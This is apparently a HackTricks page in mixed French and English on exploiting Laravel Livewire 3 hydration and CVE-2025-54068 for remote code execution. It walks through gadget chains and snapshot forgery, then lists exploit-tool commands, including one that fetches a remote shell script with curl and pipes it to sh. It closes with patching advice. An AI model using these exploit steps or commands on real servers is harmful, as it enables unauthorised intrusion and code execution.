Laravel Livewire Hydration & Synthesizer Abuse
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Récapitulatif de la machine à états Livewire
Les composants Livewire 3 échangent leur état via des snapshots qui contiennent data, memo et une somme de contrôle. Chaque POST vers /livewire/update réhydrate le snapshot JSON côté serveur et exécute les calls/updates mis en file d’attente.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Toute personne disposant de APP_KEY (utilisée pour dériver $hashKey) peut donc forger des snapshots arbitraires en recalculant le HMAC.
Les propriétés complexes sont encodées comme des tuples synthétiques détectés par Livewire\Drawer\BaseUtils::isSyntheticTuple() ; chaque tuple est [value, {"s":"<key>", ...meta}]. Le cœur d’hydratation délègue simplement chaque tuple au synth sélectionné dans HandleComponents::$propertySynthesizers et traite récursivement les enfants :
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
This recursive design makes Livewire a moteur générique d’instanciation d’objets once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Parce que les synths invoquent $hydrateChild sur chaque élément imbriqué, des graphes de gadgets arbitraires peuvent être construits en empilant les tuples de manière récursive.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recalculer
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
L’outil analyse le snapshot capturé, injecte les tuples de gadget, recalcul la checksum, et affiche un payload prêt à envoyer vers /livewire/update.
CVE-2025-54068 – RCE sans APP_KEY
Selon l’avis du fournisseur, le problème affecte Livewire v3 (>= 3.0.0-beta.1 et < 3.6.3) et est spécifique à la v3.
updates sont fusionnées dans l’état du composant après que la checksum du snapshot soit validée. Si une propriété à l’intérieur du snapshot est (ou devient) un tuple synthétique, Livewire réutilise ses meta en hydratant la valeur d’update contrôlée par l’attaquant:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Trouvez un composant Livewire avec une propriété publique non typée (par ex.,
public $count;). - Envoyez une mise à jour qui assigne cette propriété à
[]. Le snapshot suivant la stocke maintenant comme[[], {"s": "arr"}].
Un flux minimal de manipulation de type ressemble à ceci:
POST /livewire/update
...
"updates": {"count": []}
Ensuite, le snapshot suivant stocke un tuple qui conserve les métadonnées du synthétiseur arr:
"count": [[], {"s": "arr"}]
- Construisez un autre payload
updatesoù cette propriété contient un tableau profondément imbriqué incorporant des tuples tels que[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Pendant la récursion,
hydrate()évalue chaque enfant imbriqué indépendamment, donc les clés/classes de synthétiseur choisies par l’attaquant sont prises en compte même si le tuple externe et le checksum n’ont jamais changé. - Réutilisez les mêmes primitives
CollectionSynth/FormObjectSynthpour instancier un gadget Queueable dont$chained[0]contient le payload phpggc. Livewire traite les updates falsifiés, appelledispatchNextJobInChain(), et atteintsystem(<cmd>)sans connaîtreAPP_KEY.
Principales raisons pour lesquelles cela fonctionne :
updatesne sont pas couverts par le checksum du snapshot.getMetaForPath()fait confiance aux métadonnées du synthétiseur qui existaient déjà pour cette propriété, même si l’attaquant l’avait précédemment forcée à devenir un tuple via typage faible.- La récursion combinée au typage faible permet à chaque tableau imbriqué d’être interprété comme un nouveau tuple, de sorte que des clés de synthétiseur arbitraires et des classes arbitraires atteignent finalement l’hydratation.
Livepyre – exploitation de bout en bout
Livepyre automatise à la fois le CVE sans APP_KEY et la voie du snapshot signé :
- Identifie la version de Livewire déployée en analysant
<script src="/livewire/livewire.js?id=HASH">et en associant le hash aux releases vulnérables. - Collecte des snapshots de base en rejouant des actions bénignes et en extrayant
components[].snapshot. - Génère soit un payload uniquement
updates(CVE-2025-54068), soit un snapshot falsifié (APP_KEY connu) incorporant la chaîne phpggc. - Si aucun paramètre de type objet n’est trouvé dans un snapshot, Livepyre recourt au brute-force des paramètres candidats pour atteindre une propriété coercible.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check exécute une sonde non destructive, -F saute le version gating, -H et -P ajoutent des headers ou proxies personnalisés, et --function/--param personnalisent la fonction php invoquée par le gadget chain.
Considérations défensives
- Mettez à jour vers des builds Livewire corrigés (>= 3.6.4 selon le bulletin du fournisseur) et déployez le patch du fournisseur pour CVE-2025-54068.
- Évitez les propriétés publiques faiblement typées dans les composants Livewire ; des types scalaires explicites empêchent que les valeurs des propriétés soient coercées en arrays/tuples.
- Enregistrez uniquement les synthesizers dont vous avez réellement besoin et considérez les metadata contrôlées par l’utilisateur (
$meta['class']) comme non fiables. - Rejetez les mises à jour qui changent le type JSON d’une propriété (p.ex., scalar -> array) sauf si explicitement autorisé, et ré-dérivez les synth metadata au lieu de réutiliser des tuples obsolètes.
- Faites tourner
APP_KEYrapidement après toute divulgation car il permet la falsification de snapshots hors ligne, peu importe à quel point le base de code est patché.
Références
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


